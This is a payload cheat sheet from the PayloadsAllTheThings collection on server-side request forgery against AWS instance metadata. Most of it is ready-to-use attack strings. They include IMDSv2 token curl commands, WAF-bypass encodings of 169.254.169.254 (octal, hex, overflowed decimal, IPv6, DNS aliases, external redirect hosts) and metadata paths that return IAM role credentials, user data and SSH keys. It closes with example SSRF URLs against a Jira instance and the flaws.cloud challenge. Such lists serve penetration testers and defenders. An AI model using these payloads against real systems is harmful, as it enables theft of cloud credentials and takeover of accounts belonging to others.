The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories) * IPv4 endpoint (old): `http://169.254.169.254/latest/meta-data/` * IPv4 endpoint (new) requires the header `X-aws-ec2-metadata-token`
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/` In case of a WAF, you might want to try different ways to connect to the API. * DNS record pointing to the AWS API IP
http://instance-data
http://169.254.169.254
http://169.254.169.254.nip.io/* HTTP redirect
Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-* Encoding the IP to bypass WAF
http://425.510.425.510 Dotted decimal with overflow
http://2852039166 Dotless decimal
http://7147006462 Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE Dotted hexadecimal
http://0xA9FEA9FE Dotless hexadecimal
http://0x41414141A9FEA9FE Dotless hexadecimal with overflow
http://0251.0376.0251.0376 Dotted octal
http://0251.00376.000251.0000376 Dotted octal with padding
http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal)
http://[::ffff:a9fe:a9fe] IPV6 Compressed
http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded
http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4
http://[fd00:ec2::254] IPV6These URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role.
http://169.254.169.254/latest/meta-data/iam/security-credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]This URL is used to access the user data that was specified when launching the instance. User data is often used to pass startup scripts or other configuration information into the instance.
http://169.254.169.254/latest/user-dataOther URLs to query to access various pieces of metadata about the instance, like the hostname, public IPv4 address, and other properties.
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document**Examples**: * Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance` * *Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`
Source: Server Side Request Forgery/SSRF-Cloud-Instances.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.